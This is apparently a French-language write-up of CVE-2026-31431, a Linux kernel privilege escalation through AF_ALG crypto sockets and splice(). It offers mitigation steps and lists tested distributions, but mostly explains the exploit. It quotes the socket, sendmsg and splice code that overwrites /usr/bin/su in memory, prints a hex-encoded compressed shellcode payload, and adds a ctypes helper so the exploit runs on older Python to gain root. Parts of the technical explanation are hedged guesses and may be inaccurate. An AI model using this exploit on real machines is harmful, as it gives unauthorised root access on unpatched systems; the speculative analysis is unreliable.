CVE-2026-31431

---

Copy Fail - Détail de la CVE-2026-31431

https://nvd.nist.gov/vuln/detail/CVE-2026-31431

https://copy.fail/#exploit

https://xint.io/blog/copy-fail-linux-distributions

---

Distributions testées / Version

Distribution	Version
Ubuntu 24.04 LTS	6.17.0-1007-aws
Amazon Linux 2023	6.18.8-9.213.amzn2023
RHEL 10.1	6.12.0-124.45.1.el10_1
SUSE 16	6.12.0-160000.9-default

---

Exécution de l'exploit

main.py

ID de la commande

id

Si quelque chose comme ceci apparaît, cela signifie que vous avez maintenant un accès root.

---

Le correctif ne prend que quelques minutes.

Option 1 : Mettre à jour votre noyau (recommandé)

For Ubuntu/Debian: sudo apt update, sudo apt upgrade -y
For RHEL-based systems: sudo yum update

Redémarrez ensuite votre serveur.

Option 2 : Désactiver le module concerné (correctif temporaire)

Si une mise à jour immédiate n'est pas possible, désactivez le module vulnérable pour réduire l'exposition :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true

Cela n'affectera pas SSH, TLS, LUKS ou OpenSSL.

---

Technique d'attaque : type CVE (API Crypto + splice)

Cela semble exploiter une vulnérabilité dans le sous-système crypto AF_ALG du noyau Linux, combinée à une mauvaise utilisation de splice()/sendmsg() pour :

• Divulguer des pointeurs du noyau
• Corrompre le task_struct du processus
• Élever l'UID à 0 (root)

1. Utilisation du socket AF_ALG (38)

a = s.socket(38, 5, 0)  # AF_ALG = 38 (kernel crypto interface)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

• Crée un socket cryptographique dans le noyau
• Configure le chiffrement AES-CBC + HMAC-SHA256
• Objectif réel : interagir avec les API internes du noyau

2. setsockopt obscur (h=279)

v(h, 1, d('0800010000000010'+'0'*64))  # option 1
v(h, 5, None, 4)                        # option 5 (NULL payload)

• 279 = ALG_SET_KEY (définit la clé cryptographique)
• Options non documentées qui exploitent le sous-système ALG
• Clé '0800010000000010' + zéros — probablement le déclencheur de la vulnérabilité

3. Technique d'attaque principale

u.sendmsg([b"A"*4+c], [
    (h, 3, i*4),           # cmsg level 3 (ALG_OP?)
    (h, 2, b'\x10'+i*19),  # cmsg level 2
    (h, 4, b'\x08'+i*3)    # cmsg level 4
], 32768)

• sendmsg avec des données annexes (messages de contrôle)
• Le 'i' (compteur) crée des tailles variables à chaque itération
• Objectif : heap spraying et corruption de la mémoire du noyau

4. splice() entre tubes

r, w = g.pipe()           # create anonymous pipe
g.splice(f, w, o, offset_src=0)      # copy from file to pipe
g.splice(r, u.fileno(), o)           # copy from pipe to socket

Transfert de données zéro copie entre :

/usr/bin/su (file) → pipe → crypto socket

splice évite les copies utilisateur→noyau → opération entièrement dans l'espace noyau

5. Charge utile décompressée

Données hexadécimales :

78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

Commence par 78da → en-tête zlib

Le contenu décompressé inclut probablement :

Shellcode (machine code)  
x86_64 privilege escalation instructions  

6. Écriture de la charge utile dans su

while i < len(e):
    c(f, i, e[i:i+4])  # writes 4 bytes of shellcode into su

Corrompt /usr/bin/su en mémoire (pas sur le disque)

Le shellcode est injecté dans le processus su au moment de l'exécution

7. Exécution finale

g.system("su")

[!NOTE] Si la version de Python du système d'exploitation cible est <3.10, utilisez le code ci-dessous pour que cela fonctionne. Mais assurez-vous d'abord de vérifier la disponibilité de l'appel système.

python3 - <<'PY'
import ctypes
libc = ctypes.CDLL("libc.so.6")
print("splice syscall wrapper exists:", hasattr(libc, "splice"))
PY

Ajoutez cet extrait de code sous la section PAYLOAD_COMPRESSED :

_libc = ctypes.CDLL("libc.so.6", use_errno=True)
_libc.splice.restype = ctypes.c_ssize_t
_libc.splice.argtypes = [
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_int,
    ctypes.POINTER(ctypes.c_int64),
    ctypes.c_size_t,
    ctypes.c_uint,
]

def _splice(src, dst, count, offset_src=None, offset_dst=None, flags=0):
    off_in  = ctypes.byref(ctypes.c_int64(offset_src)) if offset_src is not None else None
    off_out = ctypes.byref(ctypes.c_int64(offset_dst)) if offset_dst is not None else None
    ret = _libc.splice(src, off_in, dst, off_out, count, flags)
    if ret < 0:
        errno = ctypes.get_errno()
        raise OSError(errno, os.strerror(errno))
    return ret

Exécute su (changement d'utilisateur) — désormais avec la charge utile corrompue

su modifié renvoie un accès root sans nécessiter de mot de passe